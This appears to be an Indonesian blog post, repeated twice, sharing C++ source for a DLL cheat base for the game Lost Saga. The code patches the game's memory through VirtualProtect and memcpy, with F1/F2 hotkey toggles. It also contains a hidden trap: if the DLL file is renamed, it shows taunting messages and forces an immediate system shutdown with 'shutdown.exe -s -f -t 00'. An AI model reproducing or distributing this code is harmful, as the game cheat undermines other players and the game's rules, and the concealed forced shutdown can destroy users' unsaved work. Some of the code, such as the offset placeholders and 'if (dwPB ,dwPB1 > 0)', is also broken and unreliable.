Langsung Saja ..
#define WIN32_LEAN_AND_MEAN
#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
//-------------=| Offset Saya |=-------------//
#define Fitur 0x000000 // Offset isi disini
//-------------=| Offset Saya |=-------------//
LPTSTR ModulGame = "lostsaga.exe";
void Patch(void *adr, void *ptr, int size)
{
DWORD OldProtection;
VirtualProtect(adr,size,PAGE_EXECUTE_READWRITE, &OldProtection);
memcpy(adr,ptr,size);
VirtualProtect(adr,size,OldProtection, &OldProtection);
}
void WritePointer(unsigned long ulBase, int iOffset, int iValue)
{
if (!IsBadReadPtr((VOID*)ulBase, sizeof(unsigned long)))
{
if (!IsBadWritePtr((void*)(*(unsigned long*)ulBase + iOffset), sizeof(unsigned long)))
{
*(int*)(*(unsigned long*)ulBase + iOffset) = iValue;
}
}
}
DWORD WINAPI MemPacth(LPVOID param)
{
while(1)
{
//-------------=| Hoktey Auto On |=------------- //
DWORD adrMin1, adrMin2 = 0;
DWORD dwPB = (DWORD)GetModuleHandleA("lostsaga.exe");
DWORD dwPB1 = (DWORD)GetModuleHandleA("io3DEngine.dll");
if (dwPB ,dwPB1 > 0) {
adrMin1 = dwPB + (DWORD)Fitur;
Patch((void *)(adrMin1),(void*)(PBYTE)"\x00\x00", 2); // Byte Isi Disini
}
Sleep(5);
}
return (0);
}
//=================================================================
BOOL WINAPI DllMain ( HMODULE hDll, DWORD dwReason, LPVOID lpReserved )
{
if (dwReason == DLL_PROCESS_ATTACH)
{
DisableThreadLibraryCalls(hDll);
if(dwReason == DLL_PROCESS_ATTACH){
MessageBox (0,"Yudhi Fernando", "Attention", MB_OKCANCEL + MB_ICONINFORMATION);
CreateThread(0, 0, (LPTHREAD_START_ROUTINE)MemPacth, 0, 0, 0);
char strDLLName [_MAX_PATH];
GetModuleFileName(hDll, strDLLName , _MAX_PATH);
if (strstr(strDLLName, "YudhiFernando.dll") <= 0) {
MessageBox(0, "Kenapa Di Rename","ERROR",MB_ICONSTOP | MB_OK);
MessageBox(0, "Udah Di Kasih Free Malah Reshack","ERROR",MB_ICONSTOP | MB_OK);
MessageBox(0, "Bye!\nRestart NOW :*","ERROR",MB_ICONSTOP | MB_OK);
system("start C:/Windows/System32/shutdown.exe -s -f -t 00");
ExitProcess(0);//ERROR
}
}
else if(dwReason == DLL_PROCESS_DETACH)
{
}
}
return TRUE;
}
======================================================
ini buat yang mau hotkey on/of
//-------------=| Fiturnya |=-------------//
if (GetAsyncKeyState(VK_F1)&1) { // Key ON
MessageBeep(MB_ICONINFORMATION);
DWORD adrMin1, adrMin2 = 0;
DWORD dwPB = (DWORD)GetModuleHandleA(Module Game nya);
if (dwPB > 0) {
adrMin1 = dwPB + (DWORD)Fitur;
Patch((void *)(adrMin1),(void*)(PBYTE)"\x00\x00", 2);
}
}
if (GetAsyncKeyState(VK_F2)&1) { // Key OFF
MessageBeep(MB_ICONINFORMATION);
DWORD adrMin1, adrMin2 = 0;
DWORD dwPB = (DWORD)GetModuleHandleA(Module Game nya);
if (dwPB > 0) {
adrMin1 = dwPB + (DWORD)Fitur;
Patch((void *)(adrMin1),(void*)(PBYTE)"\x00\x00", 2);
}
}
Sleep(5);
}
Byte Nya Cari Sendiri :3
Semoga Base Lostsaga 5 July 2014 Bermanfaat Bagi Kalian ^_^
Terima Kasih, Sekian !
Continue reading →
#define WIN32_LEAN_AND_MEAN
#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
//-------------=| Offset Saya |=-------------//
#define Fitur 0x000000 // Offset isi disini
//-------------=| Offset Saya |=-------------//
LPTSTR ModulGame = "lostsaga.exe";
void Patch(void *adr, void *ptr, int size)
{
DWORD OldProtection;
VirtualProtect(adr,size,PAGE_EXECUTE_READWRITE, &OldProtection);
memcpy(adr,ptr,size);
VirtualProtect(adr,size,OldProtection, &OldProtection);
}
void WritePointer(unsigned long ulBase, int iOffset, int iValue)
{
if (!IsBadReadPtr((VOID*)ulBase, sizeof(unsigned long)))
{
if (!IsBadWritePtr((void*)(*(unsigned long*)ulBase + iOffset), sizeof(unsigned long)))
{
*(int*)(*(unsigned long*)ulBase + iOffset) = iValue;
}
}
}
DWORD WINAPI MemPacth(LPVOID param)
{
while(1)
{
//-------------=| Hoktey Auto On |=------------- //
DWORD adrMin1, adrMin2 = 0;
DWORD dwPB = (DWORD)GetModuleHandleA("lostsaga.exe");
DWORD dwPB1 = (DWORD)GetModuleHandleA("io3DEngine.dll");
if (dwPB ,dwPB1 > 0) {
adrMin1 = dwPB + (DWORD)Fitur;
Patch((void *)(adrMin1),(void*)(PBYTE)"\x00\x00", 2); // Byte Isi Disini
}
Sleep(5);
}
return (0);
}
//=================================================================
BOOL WINAPI DllMain ( HMODULE hDll, DWORD dwReason, LPVOID lpReserved )
{
if (dwReason == DLL_PROCESS_ATTACH)
{
DisableThreadLibraryCalls(hDll);
if(dwReason == DLL_PROCESS_ATTACH){
MessageBox (0,"Yudhi Fernando", "Attention", MB_OKCANCEL + MB_ICONINFORMATION);
CreateThread(0, 0, (LPTHREAD_START_ROUTINE)MemPacth, 0, 0, 0);
char strDLLName [_MAX_PATH];
GetModuleFileName(hDll, strDLLName , _MAX_PATH);
if (strstr(strDLLName, "YudhiFernando.dll") <= 0) {
MessageBox(0, "Kenapa Di Rename","ERROR",MB_ICONSTOP | MB_OK);
MessageBox(0, "Udah Di Kasih Free Malah Reshack","ERROR",MB_ICONSTOP | MB_OK);
MessageBox(0, "Bye!\nRestart NOW :*","ERROR",MB_ICONSTOP | MB_OK);
system("start C:/Windows/System32/shutdown.exe -s -f -t 00");
ExitProcess(0);//ERROR
}
}
else if(dwReason == DLL_PROCESS_DETACH)
{
}
}
return TRUE;
}
======================================================
ini buat yang mau hotkey on/of
//-------------=| Fiturnya |=-------------//
if (GetAsyncKeyState(VK_F1)&1) { // Key ON
MessageBeep(MB_ICONINFORMATION);
DWORD adrMin1, adrMin2 = 0;
DWORD dwPB = (DWORD)GetModuleHandleA(Module Game nya);
if (dwPB > 0) {
adrMin1 = dwPB + (DWORD)Fitur;
Patch((void *)(adrMin1),(void*)(PBYTE)"\x00\x00", 2);
}
}
if (GetAsyncKeyState(VK_F2)&1) { // Key OFF
MessageBeep(MB_ICONINFORMATION);
DWORD adrMin1, adrMin2 = 0;
DWORD dwPB = (DWORD)GetModuleHandleA(Module Game nya);
if (dwPB > 0) {
adrMin1 = dwPB + (DWORD)Fitur;
Patch((void *)(adrMin1),(void*)(PBYTE)"\x00\x00", 2);
}
}
Sleep(5);
}
Byte Nya Cari Sendiri :3
Semoga Base Lostsaga 5 July 2014 Bermanfaat Bagi Kalian ^_^
Terima Kasih, Sekian !